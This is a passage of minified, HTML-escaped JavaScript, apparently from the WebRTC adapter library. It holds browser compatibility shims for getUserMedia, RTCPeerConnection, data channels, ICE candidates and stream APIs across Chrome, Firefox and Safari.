getSupportedFacingModeLies=browserDetails.version&lt;66;if(face&amp;&amp;(&quot;user&quot;===face.exact||&quot;environment&quot;===face.exact||&quot;user&quot;===face.ideal||&quot;environment&quot;===face.ideal)&amp;&amp;(!navigator.mediaDevices.getSupportedConstraints||!navigator.mediaDevices.getSupportedConstraints().facingMode||getSupportedFacingModeLies)){delete constraints.video.facingMode;var matches=void 0;if(&quot;environment&quot;===face.exact||&quot;environment&quot;===face.ideal?matches=[&quot;back&quot;,&quot;rear&quot;]:&quot;user&quot;!==face.exact&amp;&amp;&quot;user&quot;!==face.ideal||(matches=[&quot;front&quot;]),matches)return navigator.mediaDevices.enumerateDevices().then((function(devices){var dev=(devices=devices.filter((function(d){return&quot;videoinput&quot;===d.kind}))).find((function(d){return matches.some((function(match){return d.label.toLowerCase().includes(match)}))}));return!dev&amp;&amp;devices.length&amp;&amp;matches.includes(&quot;back&quot;)&amp;&amp;(dev=devices[devices.length-1]),dev&amp;&amp;(constraints.video.deviceId=face.exact?{exact:dev.deviceId}:{ideal:dev.deviceId}),constraints.video=constraintsToChrome_(constraints.video),logging(&quot;chrome: &quot;+JSON.stringify(constraints)),func(constraints)}))}constraints.video=constraintsToChrome_(constraints.video)}return logging(&quot;chrome: &quot;+JSON.stringify(constraints)),func(constraints)},shimError_=function(e){return browserDetails.version&gt;=64?e:{name:{PermissionDeniedError:&quot;NotAllowedError&quot;,PermissionDismissedError:&quot;NotAllowedError&quot;,InvalidStateError:&quot;NotAllowedError&quot;,DevicesNotFoundError:&quot;NotFoundError&quot;,ConstraintNotSatisfiedError:&quot;OverconstrainedError&quot;,TrackStartError:&quot;NotReadableError&quot;,MediaDeviceFailedDueToShutdown:&quot;NotAllowedError&quot;,MediaDeviceKillSwitchOn:&quot;NotAllowedError&quot;,TabCaptureError:&quot;AbortError&quot;,ScreenCaptureError:&quot;AbortError&quot;,DeviceCaptureError:&quot;AbortError&quot;}[e.name]||e.name,message:e.message,constraint:e.constraint||e.constraintName,toString:function(){return this.name+(this.message&amp;&amp;&quot;: &quot;)+this.message}}};if(navigator.getUserMedia=function(constraints,onSuccess,onError){shimConstraints_(constraints,(function(c){navigator.webkitGetUserMedia(c,onSuccess,(function(e){onError&amp;&amp;onError(shimError_(e))}))}))}.bind(navigator),navigator.mediaDevices.getUserMedia){var origGetUserMedia=navigator.mediaDevices.getUserMedia.bind(navigator.mediaDevices);navigator.mediaDevices.getUserMedia=function(cs){return shimConstraints_(cs,(function(c){return origGetUserMedia(c).then((function(stream){if(c.audio&amp;&amp;!stream.getAudioTracks().length||c.video&amp;&amp;!stream.getVideoTracks().length)throw stream.getTracks().forEach((function(track){track.stop()})),new DOMException(&quot;&quot;,&quot;NotFoundError&quot;);return stream}),(function(e){return Promise.reject(shimError_(e))}))}))}}};var logging=function(obj){if(obj&amp;&amp;obj.__esModule)return obj;var newObj={};if(null!=obj)for(var key in obj)Object.prototype.hasOwnProperty.call(obj,key)&amp;&amp;(newObj[key]=obj[key]);return newObj.default=obj,newObj}(require(&quot;../utils.js&quot;)).log},{&quot;../utils.js&quot;:11}],6:[function(require,module,exports){Object.defineProperty(exports,&quot;__esModule&quot;,{value:!0});var _typeof=&quot;function&quot;==typeof Symbol&amp;&amp;&quot;symbol&quot;==typeof Symbol.iterator?function(obj){return typeof obj}:function(obj){return obj&amp;&amp;&quot;function&quot;==typeof Symbol&amp;&amp;obj.constructor===Symbol&amp;&amp;obj!==Symbol.prototype?&quot;symbol&quot;:typeof obj};exports.shimRTCIceCandidate=function(window){if(!window.RTCIceCandidate||window.RTCIceCandidate&amp;&amp;&quot;foundation&quot;in window.RTCIceCandidate.prototype)return;var NativeRTCIceCandidate=window.RTCIceCandidate;window.RTCIceCandidate=function(args){if(&quot;object&quot;===(void 0===args?&quot;undefined&quot;:_typeof(args))&amp;&amp;args.candidate&amp;&amp;0===args.candidate.indexOf(&quot;a=&quot;)&amp;&amp;((args=JSON.parse(JSON.stringify(args))).candidate=args.candidate.substr(2)),args.candidate&amp;&amp;args.candidate.length){var nativeCandidate=new NativeRTCIceCandidate(args),parsedCandidate=_sdp2.default.parseCandidate(args.candidate),augmentedCandidate=Object.assign(nativeCandidate,parsedCandidate);return augmentedCandidate.toJSON=function(){return{candidate:augmentedCandidate.candidate,sdpMid:augmentedCandidate.sdpMid,sdpMLineIndex:augmentedCandidate.sdpMLineIndex,usernameFragment:augmentedCandidate.usernameFragment}},augmentedCandidate}return new NativeRTCIceCandidate(args)},window.RTCIceCandidate.prototype=NativeRTCIceCandidate.prototype,utils.wrapPeerConnectionEvent(window,&quot;icecandidate&quot;,(function(e){return e.candidate&amp;&amp;Object.defineProperty(e,&quot;candidate&quot;,{value:new window.RTCIceCandidate(e.candidate),writable:&quot;false&quot;}),e}))},exports.shimMaxMessageSize=function(window,browserDetails){if(!window.RTCPeerConnection)return;&quot;sctp&quot;in window.RTCPeerConnection.prototype||Object.defineProperty(window.RTCPeerConnection.prototype,&quot;sctp&quot;,{get:function(){return void 0===this._sctp?null:this._sctp}});var sctpInDescription=function(description){if(!description||!description.sdp)return!1;var sections=_sdp2.default.splitSections(description.sdp);return sections.shift(),sections.some((function(mediaSection){var mLine=_sdp2.default.parseMLine(mediaSection);return mLine&amp;&amp;&quot;application&quot;===mLine.kind&amp;&amp;-1!==mLine.protocol.indexOf(&quot;SCTP&quot;)}))},getRemoteFirefoxVersion=function(description){var match=description.sdp.match(/mozilla...THIS_IS_SDPARTA-(\d+)/);if(null===match||match.length&lt;2)return-1;var version=parseInt(match[1],10);return version!=version?-1:version},getCanSendMaxMessageSize=function(remoteIsFirefox){var canSendMaxMessageSize=65536;return&quot;firefox&quot;===browserDetails.browser&amp;&amp;(canSendMaxMessageSize=browserDetails.version&lt;57?-1===remoteIsFirefox?16384:2147483637:browserDetails.version&lt;60?57===browserDetails.version?65535:65536:2147483637),canSendMaxMessageSize},getMaxMessageSize=function(description,remoteIsFirefox){var maxMessageSize=65536;&quot;firefox&quot;===browserDetails.browser&amp;&amp;57===browserDetails.version&amp;&amp;(maxMessageSize=65535);var match=_sdp2.default.matchPrefix(description.sdp,&quot;a=max-message-size:&quot;);return match.length&gt;0?maxMessageSize=parseInt(match[0].substr(19),10):&quot;firefox&quot;===browserDetails.browser&amp;&amp;-1!==remoteIsFirefox&amp;&amp;(maxMessageSize=2147483637),maxMessageSize},origSetRemoteDescription=window.RTCPeerConnection.prototype.setRemoteDescription;window.RTCPeerConnection.prototype.setRemoteDescription=function(){if(this._sctp=null,&quot;chrome&quot;===browserDetails.browser&amp;&amp;browserDetails.version&gt;=76){var _getConfiguration=this.getConfiguration(),sdpSemantics=_getConfiguration.sdpSemantics;&quot;plan-b&quot;===sdpSemantics&amp;&amp;Object.defineProperty(this,&quot;sctp&quot;,{get:function(){return void 0===this._sctp?null:this._sctp},enumerable:!0,configurable:!0})}if(sctpInDescription(arguments[0])){var isFirefox=getRemoteFirefoxVersion(arguments[0]),canSendMMS=getCanSendMaxMessageSize(isFirefox),remoteMMS=getMaxMessageSize(arguments[0],isFirefox),maxMessageSize=void 0;maxMessageSize=0===canSendMMS&amp;&amp;0===remoteMMS?Number.POSITIVE_INFINITY:0===canSendMMS||0===remoteMMS?Math.max(canSendMMS,remoteMMS):Math.min(canSendMMS,remoteMMS);var sctp={};Object.defineProperty(sctp,&quot;maxMessageSize&quot;,{get:function(){return maxMessageSize}}),this._sctp=sctp}return origSetRemoteDescription.apply(this,arguments)}},exports.shimSendThrowTypeError=function(window){if(!window.RTCPeerConnection||!(&quot;createDataChannel&quot;in window.RTCPeerConnection.prototype))return;function wrapDcSend(dc,pc){var origDataChannelSend=dc.send;dc.send=function(){var data=arguments[0],length=data.length||data.size||data.byteLength;if(&quot;open&quot;===dc.readyState&amp;&amp;pc.sctp&amp;&amp;length&gt;pc.sctp.maxMessageSize)throw new TypeError(&quot;Message too large (can send a maximum of &quot;+pc.sctp.maxMessageSize+&quot; bytes)&quot;);return origDataChannelSend.apply(dc,arguments)}}var origCreateDataChannel=window.RTCPeerConnection.prototype.createDataChannel;window.RTCPeerConnection.prototype.createDataChannel=function(){var dataChannel=origCreateDataChannel.apply(this,arguments);return wrapDcSend(dataChannel,this),dataChannel},utils.wrapPeerConnectionEvent(window,&quot;datachannel&quot;,(function(e){return wrapDcSend(e.channel,e.target),e}))},exports.shimConnectionState=function(window){if(!window.RTCPeerConnection||&quot;connectionState&quot;in window.RTCPeerConnection.prototype)return;var proto=window.RTCPeerConnection.prototype;Object.defineProperty(proto,&quot;connectionState&quot;,{get:function(){return{completed:&quot;connected&quot;,checking:&quot;connecting&quot;}[this.iceConnectionState]||this.iceConnectionState},enumerable:!0,configurable:!0}),Object.defineProperty(proto,&quot;onconnectionstatechange&quot;,{get:function(){return this._onconnectionstatechange||null},set:function(cb){this._onconnectionstatechange&amp;&amp;(this.removeEventListener(&quot;connectionstatechange&quot;,this._onconnectionstatechange),delete this._onconnectionstatechange),cb&amp;&amp;this.addEventListener(&quot;connectionstatechange&quot;,this._onconnectionstatechange=cb)},enumerable:!0,configurable:!0}),[&quot;setLocalDescription&quot;,&quot;setRemoteDescription&quot;].forEach((function(method){var origMethod=proto[method];proto[method]=function(){return this._connectionstatechangepoly||(this._connectionstatechangepoly=function(e){var pc=e.target;if(pc._lastConnectionState!==pc.connectionState){pc._lastConnectionState=pc.connectionState;var newEvent=new Event(&quot;connectionstatechange&quot;,e);pc.dispatchEvent(newEvent)}return e},this.addEventListener(&quot;iceconnectionstatechange&quot;,this._connectionstatechangepoly)),origMethod.apply(this,arguments)}}))},exports.removeExtmapAllowMixed=function(window,browserDetails){if(!window.RTCPeerConnection)return;if(&quot;chrome&quot;===browserDetails.browser&amp;&amp;browserDetails.version&gt;=71)return;if(&quot;safari&quot;===browserDetails.browser&amp;&amp;browserDetails.version&gt;=605)return;var nativeSRD=window.RTCPeerConnection.prototype.setRemoteDescription;window.RTCPeerConnection.prototype.setRemoteDescription=function(desc){if(desc&amp;&amp;desc.sdp&amp;&amp;-1!==desc.sdp.indexOf(&quot;\na=extmap-allow-mixed&quot;)){var sdp=desc.sdp.split(&quot;\n&quot;).filter((function(line){return&quot;a=extmap-allow-mixed&quot;!==line.trim()})).join(&quot;\n&quot;);window.RTCSessionDescription&amp;&amp;desc instanceof window.RTCSessionDescription?arguments[0]=new window.RTCSessionDescription({type:desc.type,sdp:sdp}):desc.sdp=sdp}return nativeSRD.apply(this,arguments)}},exports.shimAddIceCandidateNullOrEmpty=function(window,browserDetails){if(!window.RTCPeerConnection||!window.RTCPeerConnection.prototype)return;var nativeAddIceCandidate=window.RTCPeerConnection.prototype.addIceCandidate;if(!nativeAddIceCandidate||0===nativeAddIceCandidate.length)return;window.RTCPeerConnection.prototype.addIceCandidate=function(){return arguments[0]?(&quot;chrome&quot;===browserDetails.browser&amp;&amp;browserDetails.version&lt;78||&quot;firefox&quot;===browserDetails.browser&amp;&amp;browserDetails.version&lt;68||&quot;safari&quot;===browserDetails.browser)&amp;&amp;arguments[0]&amp;&amp;&quot;&quot;===arguments[0].candidate?Promise.resolve():nativeAddIceCandidate.apply(this,arguments):(arguments[1]&amp;&amp;arguments[1].apply(null),Promise.resolve())}};var obj,_sdp=require(&quot;sdp&quot;),_sdp2=(obj=_sdp)&amp;&amp;obj.__esModule?obj:{default:obj},utils=function(obj){if(obj&amp;&amp;obj.__esModule)return obj;var newObj={};if(null!=obj)for(var key in obj)Object.prototype.hasOwnProperty.call(obj,key)&amp;&amp;(newObj[key]=obj[key]);return newObj.default=obj,newObj}(require(&quot;./utils&quot;))},{&quot;./utils&quot;:11,sdp:12}],7:[function(require,module,exports){Object.defineProperty(exports,&quot;__esModule&quot;,{value:!0}),exports.shimGetDisplayMedia=exports.shimGetUserMedia=void 0;var _typeof=&quot;function&quot;==typeof Symbol&amp;&amp;&quot;symbol&quot;==typeof Symbol.iterator?function(obj){return typeof obj}:function(obj){return obj&amp;&amp;&quot;function&quot;==typeof Symbol&amp;&amp;obj.constructor===Symbol&amp;&amp;obj!==Symbol.prototype?&quot;symbol&quot;:typeof obj},_getusermedia=require(&quot;./getusermedia&quot;);Object.defineProperty(exports,&quot;shimGetUserMedia&quot;,{enumerable:!0,get:function(){return _getusermedia.shimGetUserMedia}});var _getdisplaymedia=require(&quot;./getdisplaymedia&quot;);Object.defineProperty(exports,&quot;shimGetDisplayMedia&quot;,{enumerable:!0,get:function(){return _getdisplaymedia.shimGetDisplayMedia}}),exports.shimOnTrack=function(window){&quot;object&quot;===(void 0===window?&quot;undefined&quot;:_typeof(window))&amp;&amp;window.RTCTrackEvent&amp;&amp;&quot;receiver&quot;in window.RTCTrackEvent.prototype&amp;&amp;!(&quot;transceiver&quot;in window.RTCTrackEvent.prototype)&amp;&amp;Object.defineProperty(window.RTCTrackEvent.prototype,&quot;transceiver&quot;,{get:function(){return{receiver:this.receiver}}})},exports.shimPeerConnection=function(window,browserDetails){if(&quot;object&quot;!==(void 0===window?&quot;undefined&quot;:_typeof(window))||!window.RTCPeerConnection&amp;&amp;!window.mozRTCPeerConnection)return;!window.RTCPeerConnection&amp;&amp;window.mozRTCPeerConnection&amp;&amp;(window.RTCPeerConnection=window.mozRTCPeerConnection);browserDetails.version&lt;53&amp;&amp;[&quot;setLocalDescription&quot;,&quot;setRemoteDescription&quot;,&quot;addIceCandidate&quot;].forEach((function(method){var nativeMethod=window.RTCPeerConnection.prototype[method],methodObj=function(obj,key,value){key in obj?Object.defineProperty(obj,key,{value:value,enumerable:!0,configurable:!0,writable:!0}):obj[key]=value;return obj}({},method,(function(){return arguments[0]=new(&quot;addIceCandidate&quot;===method?window.RTCIceCandidate:window.RTCSessionDescription)(arguments[0]),nativeMethod.apply(this,arguments)}));window.RTCPeerConnection.prototype[method]=methodObj[method]}));var modernStatsTypes={inboundrtp:&quot;inbound-rtp&quot;,outboundrtp:&quot;outbound-rtp&quot;,candidatepair:&quot;candidate-pair&quot;,localcandidate:&quot;local-candidate&quot;,remotecandidate:&quot;remote-candidate&quot;},nativeGetStats=window.RTCPeerConnection.prototype.getStats;window.RTCPeerConnection.prototype.getStats=function(){var _arguments=Array.prototype.slice.call(arguments),selector=_arguments[0],onSucc=_arguments[1],onErr=_arguments[2];return nativeGetStats.apply(this,[selector||null]).then((function(stats){if(browserDetails.version&lt;53&amp;&amp;!onSucc)try{stats.forEach((function(stat){stat.type=modernStatsTypes[stat.type]||stat.type}))}catch(e){if(&quot;TypeError&quot;!==e.name)throw e;stats.forEach((function(stat,i){stats.set(i,Object.assign({},stat,{type:modernStatsTypes[stat.type]||stat.type}))}))}return stats})).then(onSucc,onErr)}},exports.shimSenderGetStats=function(window){if(&quot;object&quot;!==(void 0===window?&quot;undefined&quot;:_typeof(window))||!window.RTCPeerConnection||!window.RTCRtpSender)return;if(window.RTCRtpSender&amp;&amp;&quot;getStats&quot;in window.RTCRtpSender.prototype)return;var origGetSenders=window.RTCPeerConnection.prototype.getSenders;origGetSenders&amp;&amp;(window.RTCPeerConnection.prototype.getSenders=function(){var _this=this,senders=origGetSenders.apply(this,[]);return senders.forEach((function(sender){return sender._pc=_this})),senders});var origAddTrack=window.RTCPeerConnection.prototype.addTrack;origAddTrack&amp;&amp;(window.RTCPeerConnection.prototype.addTrack=function(){var sender=origAddTrack.apply(this,arguments);return sender._pc=this,sender});window.RTCRtpSender.prototype.getStats=function(){return this.track?this._pc.getStats(this.track):Promise.resolve(new Map)}},exports.shimReceiverGetStats=function(window){if(&quot;object&quot;!==(void 0===window?&quot;undefined&quot;:_typeof(window))||!window.RTCPeerConnection||!window.RTCRtpSender)return;if(window.RTCRtpSender&amp;&amp;&quot;getStats&quot;in window.RTCRtpReceiver.prototype)return;var origGetReceivers=window.RTCPeerConnection.prototype.getReceivers;origGetReceivers&amp;&amp;(window.RTCPeerConnection.prototype.getReceivers=function(){var _this2=this,receivers=origGetReceivers.apply(this,[]);return receivers.forEach((function(receiver){return receiver._pc=_this2})),receivers});utils.wrapPeerConnectionEvent(window,&quot;track&quot;,(function(e){return e.receiver._pc=e.srcElement,e})),window.RTCRtpReceiver.prototype.getStats=function(){return this._pc.getStats(this.track)}},exports.shimRemoveStream=function(window){if(!window.RTCPeerConnection||&quot;removeStream&quot;in window.RTCPeerConnection.prototype)return;window.RTCPeerConnection.prototype.removeStream=function(stream){var _this3=this;utils.deprecated(&quot;removeStream&quot;,&quot;removeTrack&quot;),this.getSenders().forEach((function(sender){sender.track&amp;&amp;stream.getTracks().includes(sender.track)&amp;&amp;_this3.removeTrack(sender)}))}},exports.shimRTCDataChannel=function(window){window.DataChannel&amp;&amp;!window.RTCDataChannel&amp;&amp;(window.RTCDataChannel=window.DataChannel)},exports.shimAddTransceiver=function(window){if(&quot;object&quot;!==(void 0===window?&quot;undefined&quot;:_typeof(window))||!window.RTCPeerConnection)return;var origAddTransceiver=window.RTCPeerConnection.prototype.addTransceiver;origAddTransceiver&amp;&amp;(window.RTCPeerConnection.prototype.addTransceiver=function(){this.setParametersPromises=[];var initParameters=arguments[1],shouldPerformCheck=initParameters&amp;&amp;&quot;sendEncodings&quot;in initParameters;shouldPerformCheck&amp;&amp;initParameters.sendEncodings.forEach((function(encodingParam){if(&quot;rid&quot;in encodingParam){if(!/^[a-z0-9]{0,16}$/i.test(encodingParam.rid))throw new TypeError(&quot;Invalid RID value provided.&quot;)}if(&quot;scaleResolutionDownBy&quot;in encodingParam&amp;&amp;!(parseFloat(encodingParam.scaleResolutionDownBy)&gt;=1))throw new RangeError(&quot;scale_resolution_down_by must be &gt;= 1.0&quot;);if(&quot;maxFramerate&quot;in encodingParam&amp;&amp;!(parseFloat(encodingParam.maxFramerate)&gt;=0))throw new RangeError(&quot;max_framerate must be &gt;= 0.0&quot;)}));var transceiver=origAddTransceiver.apply(this,arguments);if(shouldPerformCheck){var sender=transceiver.sender,params=sender.getParameters();(!(&quot;encodings&quot;in params)||1===params.encodings.length&amp;&amp;0===Object.keys(params.encodings[0]).length)&amp;&amp;(params.encodings=initParameters.sendEncodings,sender.sendEncodings=initParameters.sendEncodings,this.setParametersPromises.push(sender.setParameters(params).then((function(){delete sender.sendEncodings})).catch((function(){delete sender.sendEncodings}))))}return transceiver})},exports.shimGetParameters=function(window){if(&quot;object&quot;!==(void 0===window?&quot;undefined&quot;:_typeof(window))||!window.RTCRtpSender)return;var origGetParameters=window.RTCRtpSender.prototype.getParameters;origGetParameters&amp;&amp;(window.RTCRtpSender.prototype.getParameters=function(){var params=origGetParameters.apply(this,arguments);return&quot;encodings&quot;in params||(params.encodings=[].concat(this.sendEncodings||[{}])),params})},exports.shimCreateOffer=function(window){if(&quot;object&quot;!==(void 0===window?&quot;undefined&quot;:_typeof(window))||!window.RTCPeerConnection)return;var origCreateOffer=window.RTCPeerConnection.prototype.createOffer;window.RTCPeerConnection.prototype.createOffer=function(){var _this4=this,_arguments2=arguments;return this.setParametersPromises&amp;&amp;this.setParametersPromises.length?Promise.all(this.setParametersPromises).then((function(){return origCreateOffer.apply(_this4,_arguments2)})).finally((function(){_this4.setParametersPromises=[]})):origCreateOffer.apply(this,arguments)}},exports.shimCreateAnswer=function(window){if(&quot;object&quot;!==(void 0===window?&quot;undefined&quot;:_typeof(window))||!window.RTCPeerConnection)return;var origCreateAnswer=window.RTCPeerConnection.prototype.createAnswer;window.RTCPeerConnection.prototype.createAnswer=function(){var _this5=this,_arguments3=arguments;return this.setParametersPromises&amp;&amp;this.setParametersPromises.length?Promise.all(this.setParametersPromises).then((function(){return origCreateAnswer.apply(_this5,_arguments3)})).finally((function(){_this5.setParametersPromises=[]})):origCreateAnswer.apply(this,arguments)}};var utils=function(obj){if(obj&amp;&amp;obj.__esModule)return obj;var newObj={};if(null!=obj)for(var key in obj)Object.prototype.hasOwnProperty.call(obj,key)&amp;&amp;(newObj[key]=obj[key]);return newObj.default=obj,newObj}(require(&quot;../utils&quot;))},{&quot;../utils&quot;:11,&quot;./getdisplaymedia&quot;:8,&quot;./getusermedia&quot;:9}],8:[function(require,module,exports){Object.defineProperty(exports,&quot;__esModule&quot;,{value:!0}),exports.shimGetDisplayMedia=function(window,preferredMediaSource){if(window.navigator.mediaDevices&amp;&amp;&quot;getDisplayMedia&quot;in window.navigator.mediaDevices)return;if(!window.navigator.mediaDevices)return;window.navigator.mediaDevices.getDisplayMedia=function(constraints){if(!constraints||!constraints.video){var err=new DOMException(&quot;getDisplayMedia without video constraints is undefined&quot;);return err.name=&quot;NotFoundError&quot;,err.code=8,Promise.reject(err)}return!0===constraints.video?constraints.video={mediaSource:preferredMediaSource}:constraints.video.mediaSource=preferredMediaSource,window.navigator.mediaDevices.getUserMedia(constraints)}}},{}],9:[function(require,module,exports){Object.defineProperty(exports,&quot;__esModule&quot;,{value:!0});var _typeof=&quot;function&quot;==typeof Symbol&amp;&amp;&quot;symbol&quot;==typeof Symbol.iterator?function(obj){return typeof obj}:function(obj){return obj&amp;&amp;&quot;function&quot;==typeof Symbol&amp;&amp;obj.constructor===Symbol&amp;&amp;obj!==Symbol.prototype?&quot;symbol&quot;:typeof obj};exports.shimGetUserMedia=function(window,browserDetails){var navigator=window&amp;&amp;window.navigator,MediaStreamTrack=window&amp;&amp;window.MediaStreamTrack;if(navigator.getUserMedia=function(constraints,onSuccess,onError){utils.deprecated(&quot;navigator.getUserMedia&quot;,&quot;navigator.mediaDevices.getUserMedia&quot;),navigator.mediaDevices.getUserMedia(constraints).then(onSuccess,onError)},!(browserDetails.version&gt;55&amp;&amp;&quot;autoGainControl&quot;in navigator.mediaDevices.getSupportedConstraints())){var remap=function(obj,a,b){a in obj&amp;&amp;!(b in obj)&amp;&amp;(obj[b]=obj[a],delete obj[a])},nativeGetUserMedia=navigator.mediaDevices.getUserMedia.bind(navigator.mediaDevices);if(navigator.mediaDevices.getUserMedia=function(c){return&quot;object&quot;===(void 0===c?&quot;undefined&quot;:_typeof(c))&amp;&amp;&quot;object&quot;===_typeof(c.audio)&amp;&amp;(c=JSON.parse(JSON.stringify(c)),remap(c.audio,&quot;autoGainControl&quot;,&quot;mozAutoGainControl&quot;),remap(c.audio,&quot;noiseSuppression&quot;,&quot;mozNoiseSuppression&quot;)),nativeGetUserMedia(c)},MediaStreamTrack&amp;&amp;MediaStreamTrack.prototype.getSettings){var nativeGetSettings=MediaStreamTrack.prototype.getSettings;MediaStreamTrack.prototype.getSettings=function(){var obj=nativeGetSettings.apply(this,arguments);return remap(obj,&quot;mozAutoGainControl&quot;,&quot;autoGainControl&quot;),remap(obj,&quot;mozNoiseSuppression&quot;,&quot;noiseSuppression&quot;),obj}}if(MediaStreamTrack&amp;&amp;MediaStreamTrack.prototype.applyConstraints){var nativeApplyConstraints=MediaStreamTrack.prototype.applyConstraints;MediaStreamTrack.prototype.applyConstraints=function(c){return&quot;audio&quot;===this.kind&amp;&amp;&quot;object&quot;===(void 0===c?&quot;undefined&quot;:_typeof(c))&amp;&amp;(c=JSON.parse(JSON.stringify(c)),remap(c,&quot;autoGainControl&quot;,&quot;mozAutoGainControl&quot;),remap(c,&quot;noiseSuppression&quot;,&quot;mozNoiseSuppression&quot;)),nativeApplyConstraints.apply(this,[c])}}}};var utils=function(obj){if(obj&amp;&amp;obj.__esModule)return obj;var newObj={};if(null!=obj)for(var key in obj)Object.prototype.hasOwnProperty.call(obj,key)&amp;&amp;(newObj[key]=obj[key]);return newObj.default=obj,newObj}(require(&quot;../utils&quot;))},{&quot;../utils&quot;:11}],10:[function(require,module,exports){Object.defineProperty(exports,&quot;__esModule&quot;,{value:!0});var _typeof=&quot;function&quot;==typeof Symbol&amp;&amp;&quot;symbol&quot;==typeof Symbol.iterator?function(obj){return typeof obj}:function(obj){return obj&amp;&amp;&quot;function&quot;==typeof Symbol&amp;&amp;obj.constructor===Symbol&amp;&amp;obj!==Symbol.prototype?&quot;symbol&quot;:typeof obj};exports.shimLocalStreamsAPI=function(window){if(&quot;object&quot;!==(void 0===window?&quot;undefined&quot;:_typeof(window))||!window.RTCPeerConnection)return;&quot;getLocalStreams&quot;in window.RTCPeerConnection.prototype||(window.RTCPeerConnection.prototype.getLocalStreams=function(){return this._localStreams||(this._localStreams=[]),this._localStreams});if(!(&quot;addStream&quot;in window.RTCPeerConnection.prototype)){var _addTrack=window.RTCPeerConnection.prototype.addTrack;window.RTCPeerConnection.prototype.addStream=function(stream){var _this=this;this._localStreams||(this._localStreams=[]),this._localStreams.includes(stream)||this._localStreams.push(stream),stream.getAudioTracks().forEach((function(track){return _addTrack.call(_this,track,stream)})),stream.getVideoTracks().forEach((function(track){return _addTrack.call(_this,track,stream)}))},window.RTCPeerConnection.prototype.addTrack=function(track){for(var _this2=this,_len=arguments.length,streams=Array(_len&gt;1?_len-1:0),_key=1;_key&lt;_len;_key++)streams[_key-1]=arguments[_key];return streams&amp;&amp;streams.forEach((function(stream){_this2._localStreams?_this2._localStreams.includes(stream)||_this2._localStreams.push(stream):_this2._localStreams=[stream]})),_addTrack.apply(this,arguments)}}&quot;removeStream&quot;in window.RTCPeerConnection.prototype||(window.RTCPeerConnection.prototype.removeStream=function(stream){var _this3=this;this._localStreams||(this._localStreams=[]);var index=this._localStreams.indexOf(stream);if(-1!==index){this._localStreams.splice(index,1);var tracks=stream.getTracks();this.getSenders().forEach((function(sender){tracks.includes(sender.track)&amp;&amp;_this3.removeTrack(sender)}))}})},exports.shimRemoteStreamsAPI=function(window){if(&quot;object&quot;!==(void 0===window?&quot;undefined&quot;:_typeof(window))||!window.RTCPeerConnection)return;&quot;getRemoteStreams&quot;in window.RTCPeerConnection.prototype||(window.RTCPeerConnection.prototype.getRemoteStreams=function(){return this._remoteStreams?this._remoteStreams:[]});if(!(&quot;onaddstream&quot;in window.RTCPeerConnection.prototype)){Object.defineProperty(window.RTCPeerConnection.prototype,&quot;onaddstream&quot;,{get:function(){return this._onaddstream},set:function(f){var _this4=this;this._onaddstream&amp;&amp;(this.removeEventListener(&quot;addstream&quot;,this._onaddstream),this.removeEventListener(&quot;track&quot;,this._onaddstreampoly)),this.addEventListener(&quot;addstream&quot;,this._onaddstream=f),this.addEventListener(&quot;track&quot;,this._onaddstreampoly=function(e){e.streams.forEach((function(stream){if(_this4._remoteStreams||(_this4._remoteStreams=[]),!_this4._remoteStreams.includes(stream)){_this4._remoteStreams.push(stream);var event=new Event(&quot;addstream&quot;);event.stream=stream,_this4.dispatchEvent(event)}}))})}});var origSetRemoteDescription=window.RTCPeerConnection.prototype.setRemoteDescription;window.RTCPeerConnection.prototype.setRemoteDescription=function(){var pc=this;return this._onaddstreampoly||this.addEventListener(&quot;track&quot;,this._onaddstreampoly=function(e){e.streams.forEach((function(stream){if(pc._remoteStreams||(pc._remoteStreams=[]),!(pc._remoteStreams.indexOf(stream)&gt;=0)){pc._remoteStreams.push(stream);var event=new Event(&quot;addstream&quot;);event.stream=stream,pc.dispatchEvent(event)}}))}),origSetRemoteDescription.apply(pc,arguments)}}},exports.shimCallbacksAPI=function(window){if(&quot;object&quot;!==(void 0===window?&quot;undefined&quot;:_typeof(window))||!window.RTCPeerConnection)return;var prototype=window.RTCPeerConnection.prototype,origCreateOffer=prototype.createOffer,origCreateAnswer=prototype.createAnswer,setLocalDescription=prototype.setLocalDescription,setRemoteDescription=prototype.setRemoteDescription,addIceCandidate=prototype.addIceCandidate;prototype.createOffer=function(successCallback,failureCallback){var options=arguments.length&gt;=2?arguments[2]:arguments[0],promise=origCreateOffer.apply(this,[options]);return failureCallback?(promise.then(successCallback,failureCallback),Promise.resolve()):promise},prototype.createAnswer=function(successCallback,failureCallback){var options=arguments.length&gt;=2?arguments[2]:arguments[0],promise=origCreateAnswer.apply(this,[options]);return failureCallback?(promise.then(successCallback,failureCallback),Promise.resolve()):promise};var withCallback=function(description,successCallback,failureCallback){var promise=setLocalDescription.apply(this,[description]);return failureCallback?(promise.then(successCallback,failureCallback),Promise.resolve()):promise};prototype.setLocalDescription=withCallback,withCallback=function(description,successCallback,failureCallback){var promise=setRemoteDescription.apply(this,[description]);return failureCallback?(promise.then(successCallback,failureCallback),Promise.resolve()):promise},prototype.setRemoteDescription=withCallback,withCallback=function(candidate,successCallback,failureCallback){var promise=addIceCandidate.apply(this,[candidate]);return failureCallback?(promise.then(successCallback,failureCallback),Promise.resolve()):promise},prototype.addIceCandidate=withCallback},exports.shimGetUserMedia=function(window){var navigator=window&amp;&amp;window.navigator;if(navigator.mediaDevices&amp;&amp;navigator.mediaDevices.getUserMedia){var mediaDevices=navigator.mediaDevices,_getUserMedia=mediaDevices.getUserMedia.bind(mediaDevices);navigator.mediaDevices.getUserMedia=function(constraints){return _getUserMedia(shimConstraints(constraints))}}!navigator.getUserMedia&amp;&amp;navigator.mediaDevices&amp;&amp;navigator.mediaDevices.getUserMedia&amp;&amp;(navigator.getUserMedia=function(constraints,cb,errcb){navigator.mediaDevices.getUserMedia(constraints).then(cb,errcb)}.bind(navigator))},exports.shimConstraints=shimConstraints,exports.shimRTCIceServerUrls=function(window){if(!window.RTCPeerConnection)return;var OrigPeerConnection=window.RTCPeerConnection;window.RTCPeerConnection=function(pcConfig,pcConstraints){if(pcConfig&amp;&amp;pcConfig.iceServers){for(var newIceServers=[],i=0;i&lt;pcConfig.iceServers.length;i++){var server=pcConfig.iceServers[i];!server.hasOwnProperty(&quot;urls&quot;)&amp;&amp;server.hasOwnProperty(&quot;url&quot;)?(utils.deprecated(&quot;RTCIceServer.url&quot;,&quot;RTCIceServer.urls&quot;),(server=JSON.parse(JSON.stringify(server))).urls=server.url,delete server.url,newIceServers.push(server)):newIceServers.push(pcConfig.iceServers[i])}pcConfig.iceServers=newIceServers}return new 